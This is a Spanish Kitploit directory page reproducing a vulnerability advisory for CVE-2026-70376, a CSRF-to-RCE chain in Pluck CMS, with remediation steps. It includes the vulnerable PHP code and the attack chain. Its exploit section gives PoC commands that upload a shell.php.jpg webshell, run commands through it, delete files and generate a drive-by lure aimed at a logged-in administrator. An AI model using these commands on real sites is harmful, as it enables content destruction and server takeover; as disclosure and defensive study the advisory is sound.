Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-70376 — Aviso y PoC en Python para el CSRF de Pluck CMS: una comprobación de Referer con fallo abierto (fail-open) junto con la subida de doble extensión permite el despliegue de webshells y la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/ilhomjonr/cve-2026-70376
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Aviso y PoC en Python para el CSRF de Pluck CMS: una comprobación de Referer con fallo abierto (fail-open) junto con la subida de doble extensión permite el despliegue de webshells y la ejecución remota de código.

Ver Repositorio
3hace 28 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-70376 — CSRF en todo el sitio de Pluck CMS → RCE

Comprobación de Referer fail-open + sin tokens CSRF + subida de doble extensión

Una sola visita de un administrador a una página elimina contenido, inyecta páginas y suelta un webshell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

De un vistazo · Resumen · Causa raíz · Cadena de ataque · Exploit · Remediación · Cronología


📋 De un vistazo

CVE IDCVE-2026-70376
ID de seguimientoPT-2026-68036
Productopluck-cms/pluck — Pluck CMS (PHP de archivos planos)
Afectado4.7.x hasta 4.7.21-dev / master actual
DebilidadCWE-352 (CSRF) · CWE-434 (subida sin restricciones, amplificador)
CVSS v3.18.0 — Alta · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
VectorRed · sin privilegios · una visita de página de administrador (UI:R)
ImpactoDestrucción de contenido/DoS, inyección de contenido almacenado, RCE en Apache/mod_php
Introducidocommit f79f916 (dic. 2019) — lógica vulnerable presente desde entonces
InvestigadorIlhomjon Rustamov (@IlhomjonR)

🔎 Resumen

El panel de administración de Pluck no tiene tokens CSRF por petición en ninguna parte del código. Cada acción administrativa que cambia el estado está controlada por una única función, requestedByTheSameDomain(), cuya única defensa es una comparación del host del Referer — y esa comprobación falla en abierto (fail-open): cuando una petición llega sin cabecera Referer en absoluto, la función devuelve true y la acción se permite.

Dado que una página del atacante controla por completo si se envía un Referer (<meta name="referrer" content="no-referrer">), cualquier administrador con la sesión iniciada que visite una página maliciosa puede verse obligado a realizar acciones privilegiadas entre sitios. Varias acciones destructivas se ejecutan mediante GET, y Pluck no establece ningún atributo SameSite en PHPSESSID (los navegadores aplican SameSite=Lax, que sigue viajando en las navegaciones GET de nivel superior), por lo que son alcanzables entre sitios con la configuración predeterminada del navegador.

Una debilidad secundaria en el filtro de subida permite que el mismo CSRF coloque un archivo de doble extensión shell.php.jpg, convirtiendo el CSRF en un RCE drive-by en hosts Apache/mod_php.


🧬 Causa raíz

1. Comprobación de Referer fail-open — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Una petición entre sitios con un Referer externo se rechaza correctamente (la rama else), lo que crea una falsa sensación de protección — pero el atacante simplemente suprime el Referer, cae en la rama fail-open y la petición se permite. No hay ninguna capa de tokens detrás de esta comprobación.

La barrera se aplica una vez en admin.php y se confía en ella para todo el switch de acciones:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Sin SameSite en la cookie de sesión (amplificador)

Pluck nunca llama a session_set_cookie_params(), por lo que PHPSESSID hereda el valor predeterminado vacío → los navegadores aplican SameSite=Lax, que sigue viajando en las navegaciones GET de nivel superior. Por tanto, las acciones expuestas por GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) se pueden falsificar con una sola visita a una página.

3. Subida de doble extensión — data/inc/images.php (amplificador de RCE)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Ambas comprobaciones se omiten trivialmente:

  • el tipo MIME proviene del cliente ($_FILES[...]['type']) → establecer image/jpeg;
  • solo se validan los últimos 4 caracteres del nombre de archivo → shell.php.jpg termina en .jpg y pasa.

El archivo se escribe en images/shell.php.jpg; en un host Apache/mod_php con manejo de extensiones múltiples se ejecuta como PHP.


⛓️ Cadena de ataque

Una sola visita de un administrador autenticado — sin ningún clic.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Las acciones falsificables incluyen:

AcciónMétodoImpacto
admin.php?action=deletefile&var1=<f>GETEliminar cualquier archivo subido
admin.php?action=deletepage&...GETEliminar páginas del sitio (DoS)
admin.php?action=module_delete&...GETEliminar módulos
admin.php?action=logoutGETCerrar la sesión del administrador
admin.php?action=editpagePOSTInyectar contenido almacenado de página
admin.php?action=images (subida)POSTColocar shell.php.jpg → RCE

💥 Exploit

Un kit de herramientas PoC funcional se encuentra en exploit/:

  • pluck_csrf_rce.py — demostrar la lógica fail-open, subir un webshell por CSRF y ejecutar comandos, eliminar archivos por CSRF o generar un señuelo.
  • csrf_poc.html — la página drive-by independiente que se entrega al administrador víctima.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Las peticiones de Python deliberadamente no envían ningún Referer, reproduciendo exactamente un navegador víctima bajo una política no-referrer. La asimetría a nivel HTTP que confirma la lógica:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ El paso .php.jpg → RCE requiere un host Apache/mod_php que ejecute archivos de extensiones múltiples mediante PHP. Cuando eso no está configurado, la subida por CSRF sigue teniendo éxito y las primitivas destructivas delete/deletepage no se ven afectadas — el CSRF es el fallo principal; el RCE es el amplificador.


🛠️ Remediación

  1. Añadir un token CSRF real — un nonce aleatorio por sesión en cada formulario de administración y en cada enlace que cambie el estado, verificado en el servidor con una comparación en tiempo constante. Esta es la corrección real; la comprobación del Referer no es un sustituto.
  2. Fail closed — si se mantiene la validación de origen como defensa en profundidad, tratar un Referer/Origin ausente como no confiable. Preferir la cabecera Origin y rechazar cuando falte o no coincida.
  3. No mutar nunca el estado mediante GET — mover deletefile, deletepage, logout, etc. a POST para que SameSite=Lax proporcione protección básica.
  4. Endurecer la cookie de sesión — establecer SameSite=Strict (o Lax), HttpOnly, y Secure mediante session_set_cookie_params().
  5. Corregir el filtro de subida — validar el nombre de archivo final guardado contra una lista de extensiones exactas permitidas, verificar el contenido real de la imagen y no confiar nunca en el tipo MIME proporcionado por el cliente.

🕒 Cronología

FechaEvento
2019-12Se introdujo la lógica vulnerable requestedByTheSameDomain() (f79f916)
2026-07-08Descubierto mediante auditoría de código fuente; PoC de extremo a extremo verificado
2026-08-10Aviso redactado (PT-2026-68036)
2026-08-12CVE-2026-70376 asignado; aviso + PoC publicados

📚 Referencias

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Descargo de responsabilidad

Este material se publica con fines educativos y defensivos y únicamente para pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas. El autor no acepta ninguna responsabilidad por el uso indebido.

Encontrado & documentado por @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Descargar herramienta